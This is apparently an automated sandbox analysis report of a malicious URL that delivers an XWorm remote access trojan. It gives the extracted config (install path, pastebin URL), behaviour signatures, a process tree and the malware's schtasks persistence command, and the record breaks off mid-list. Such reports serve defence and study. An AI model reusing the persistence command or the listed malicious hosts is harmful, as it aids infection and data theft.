Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    481s
  • max time network
    484s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/04/2024, 22:16

General

  • Target

    http://sentryhub.cloud

Malware Config

Extracted

Family

xworm

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    svchost.exe

  • pastebin_url

    https://pastebin.com/raw/z5PQ82wE

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 10 IoCs
  • Loads dropped DLL 11 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs
  • Drops file in System32 directory 11 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 4 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates processes with tasklist 1 TTPs 2 IoCs
  • Enumerates system info in registry 2 TTPs 9 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies data under HKEY_USERS 3 IoCs
  • Modifies registry class 1 IoCs
  • Modifies registry key 1 TTPs 2 IoCs
  • Opens file in notepad (likely ransom note) 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 40 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://sentryhub.cloud
    1⤵
    • Enumerates system info in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1904
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe901646f8,0x7ffe90164708,0x7ffe90164718
      2⤵
        PID:3344
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2128,18136104809895999956,16903675808818340157,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2160 /prefetch:2
        2⤵
          PID:3988
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2128,18136104809895999956,16903675808818340157,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:4952
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2128,18136104809895999956,16903675808818340157,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2820 /prefetch:8
          2⤵
            PID:4624
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,18136104809895999956,16903675808818340157,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3236 /prefetch:1
            2⤵
              PID:1824
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,18136104809895999956,16903675808818340157,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3256 /prefetch:1
              2⤵
                PID:4752
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,18136104809895999956,16903675808818340157,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4692 /prefetch:1
                2⤵
                  PID:2036
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,18136104809895999956,16903675808818340157,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3948 /prefetch:1
                  2⤵
                    PID:3764
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,18136104809895999956,16903675808818340157,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4840 /prefetch:1
                    2⤵
                      PID:4968
                    • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2128,18136104809895999956,16903675808818340157,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5328 /prefetch:8
                      2⤵
                        PID:3240
                      • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2128,18136104809895999956,16903675808818340157,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5328 /prefetch:8
                        2⤵
                        • Suspicious behavior: EnumeratesProcesses
                        PID:2732
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,18136104809895999956,16903675808818340157,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5548 /prefetch:1
                        2⤵
                          PID:2976
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,18136104809895999956,16903675808818340157,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5076 /prefetch:1
                          2⤵
                            PID:4252
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,18136104809895999956,16903675808818340157,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5880 /prefetch:1
                            2⤵
                              PID:3920
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,18136104809895999956,16903675808818340157,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5908 /prefetch:1
                              2⤵
                                PID:4824
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,18136104809895999956,16903675808818340157,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3948 /prefetch:1
                                2⤵
                                  PID:4864
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,18136104809895999956,16903675808818340157,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3284 /prefetch:1
                                  2⤵
                                    PID:4692
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,18136104809895999956,16903675808818340157,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5788 /prefetch:1
                                    2⤵
                                      PID:1508
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,18136104809895999956,16903675808818340157,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6312 /prefetch:1
                                      2⤵
                                        PID:1684
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,18136104809895999956,16903675808818340157,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5960 /prefetch:1
                                        2⤵
                                          PID:1952
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2128,18136104809895999956,16903675808818340157,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=6148 /prefetch:8
                                          2⤵
                                            PID:2692
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,18136104809895999956,16903675808818340157,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6360 /prefetch:1
                                            2⤵
                                              PID:908
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2128,18136104809895999956,16903675808818340157,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6980 /prefetch:8
                                              2⤵
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:4828
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,18136104809895999956,16903675808818340157,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6088 /prefetch:1
                                              2⤵
                                                PID:664
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2128,18136104809895999956,16903675808818340157,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3960 /prefetch:2
                                                2⤵
                                                • Suspicious behavior: EnumeratesProcesses
                                                PID:5108
                                            • C:\Windows\System32\CompPkgSrv.exe
                                              C:\Windows\System32\CompPkgSrv.exe -Embedding
                                              1⤵
                                                PID:3784
                                              • C:\Windows\System32\CompPkgSrv.exe
                                                C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                1⤵
                                                  PID:1264
                                                • C:\Windows\System32\rundll32.exe
                                                  C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                  1⤵
                                                    PID:1844
                                                  • C:\Program Files\7-Zip\7zG.exe
                                                    "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\C437rPSQNVzgjPbIKiUZsEqostl9FnPve5mDqEpa\" -ad -an -ai#7zMap25073:142:7zEvent4148
                                                    1⤵
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    • Suspicious use of FindShellTrayWindow
                                                    PID:6088
                                                  • C:\Windows\system32\mspaint.exe
                                                    "C:\Windows\system32\mspaint.exe" "C:\Users\Admin\Downloads\C437rPSQNVzgjPbIKiUZsEqostl9FnPve5mDqEpa\Krampus\fuckkrampus.png" /ForceBootstrapPaint3D
                                                    1⤵
                                                    • Modifies registry class
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    • Suspicious use of SetWindowsHookEx
                                                    PID:4584
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s DsSvc
                                                    1⤵
                                                    • Drops file in System32 directory
                                                    PID:3300
                                                  • C:\Windows\system32\OpenWith.exe
                                                    C:\Windows\system32\OpenWith.exe -Embedding
                                                    1⤵
                                                    • Suspicious use of SetWindowsHookEx
                                                    PID:4488
                                                  • C:\Windows\system32\NOTEPAD.EXE
                                                    "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\C437rPSQNVzgjPbIKiUZsEqostl9FnPve5mDqEpa\Krampus\readme.txt
                                                    1⤵
                                                    • Opens file in notepad (likely ransom note)
                                                    PID:1676
                                                  • C:\Windows\system32\NOTEPAD.EXE
                                                    "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\C437rPSQNVzgjPbIKiUZsEqostl9FnPve5mDqEpa\Krampus\readme.txt
                                                    1⤵
                                                    • Opens file in notepad (likely ransom note)
                                                    PID:2056
                                                  • C:\Users\Admin\Downloads\C437rPSQNVzgjPbIKiUZsEqostl9FnPve5mDqEpa\Krampus\B1OdUv8CBH.exe
                                                    "C:\Users\Admin\Downloads\C437rPSQNVzgjPbIKiUZsEqostl9FnPve5mDqEpa\Krampus\B1OdUv8CBH.exe"
                                                    1⤵
                                                    • Checks computer location settings
                                                    • Drops startup file
                                                    • Executes dropped EXE
                                                    • Adds Run key to start application
                                                    • Suspicious behavior: AddClipboardFormatListener
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    • Suspicious behavior: GetForegroundWindowSpam
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    • Suspicious use of SetWindowsHookEx
                                                    PID:3544
                                                    • C:\Windows\System32\schtasks.exe
                                                      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\ProgramData\svchost.exe"
                                                      2⤵
                                                      • Creates scheduled task(s)
                                                      PID:5848
                                                  • C:\ProgramData\svchost.exe
                                                    C:\ProgramData\svchost.exe
                                                    1⤵
                                                    • Executes dropped EXE
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:4488
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                    1⤵
                                                    • Enumerates system info in registry
                                                    • Modifies data under HKEY_USERS
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    • Suspicious use of FindShellTrayWindow
                                                    • Suspicious use of SendNotifyMessage
                                                    PID:5016
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffe7840ab58,0x7ffe7840ab68,0x7ffe7840ab78
                                                      2⤵
                                                        PID:5224
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1668 --field-trial-handle=1856,i,9467787497789502306,12535340632860302654,131072 /prefetch:2
                                                        2⤵
                                                          PID:60
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2196 --field-trial-handle=1856,i,9467787497789502306,12535340632860302654,131072 /prefetch:8
                                                          2⤵
                                                            PID:2156
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2272 --field-trial-handle=1856,i,9467787497789502306,12535340632860302654,131072 /prefetch:8
                                                            2⤵
                                                              PID:3104
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3100 --field-trial-handle=1856,i,9467787497789502306,12535340632860302654,131072 /prefetch:1
                                                              2⤵
                                                                PID:3780
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3140 --field-trial-handle=1856,i,9467787497789502306,12535340632860302654,131072 /prefetch:1
                                                                2⤵
                                                                  PID:3552
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4372 --field-trial-handle=1856,i,9467787497789502306,12535340632860302654,131072 /prefetch:1
                                                                  2⤵
                                                                    PID:5560
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4488 --field-trial-handle=1856,i,9467787497789502306,12535340632860302654,131072 /prefetch:8
                                                                    2⤵
                                                                      PID:3668
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4640 --field-trial-handle=1856,i,9467787497789502306,12535340632860302654,131072 /prefetch:8
                                                                      2⤵
                                                                        PID:3896
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4784 --field-trial-handle=1856,i,9467787497789502306,12535340632860302654,131072 /prefetch:8
                                                                        2⤵
                                                                          PID:4520
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4956 --field-trial-handle=1856,i,9467787497789502306,12535340632860302654,131072 /prefetch:8
                                                                          2⤵
                                                                            PID:1096
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5008 --field-trial-handle=1856,i,9467787497789502306,12535340632860302654,131072 /prefetch:8
                                                                            2⤵
                                                                              PID:5832
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=1600 --field-trial-handle=1856,i,9467787497789502306,12535340632860302654,131072 /prefetch:1
                                                                              2⤵
                                                                                PID:1916
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=5068 --field-trial-handle=1856,i,9467787497789502306,12535340632860302654,131072 /prefetch:1
                                                                                2⤵
                                                                                  PID:5616
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=2532 --field-trial-handle=1856,i,9467787497789502306,12535340632860302654,131072 /prefetch:1
                                                                                  2⤵
                                                                                    PID:5736
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=4504 --field-trial-handle=1856,i,9467787497789502306,12535340632860302654,131072 /prefetch:1
                                                                                    2⤵
                                                                                      PID:5692
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --mojo-platform-channel-handle=4452 --field-trial-handle=1856,i,9467787497789502306,12535340632860302654,131072 /prefetch:1
                                                                                      2⤵
                                                                                        PID:3984
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3968 --field-trial-handle=1856,i,9467787497789502306,12535340632860302654,131072 /prefetch:8
                                                                                        2⤵
                                                                                          PID:6104
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3236 --field-trial-handle=1856,i,9467787497789502306,12535340632860302654,131072 /prefetch:8
                                                                                          2⤵
                                                                                            PID:6108
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --mojo-platform-channel-handle=4588 --field-trial-handle=1856,i,9467787497789502306,12535340632860302654,131072 /prefetch:1
                                                                                            2⤵
                                                                                              PID:4604
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --mojo-platform-channel-handle=4784 --field-trial-handle=1856,i,9467787497789502306,12535340632860302654,131072 /prefetch:1
                                                                                              2⤵
                                                                                                PID:4084
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --mojo-platform-channel-handle=4068 --field-trial-handle=1856,i,9467787497789502306,12535340632860302654,131072 /prefetch:1
                                                                                                2⤵
                                                                                                  PID:2892
                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4268 --field-trial-handle=1856,i,9467787497789502306,12535340632860302654,131072 /prefetch:8
                                                                                                  2⤵
                                                                                                    PID:3296
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
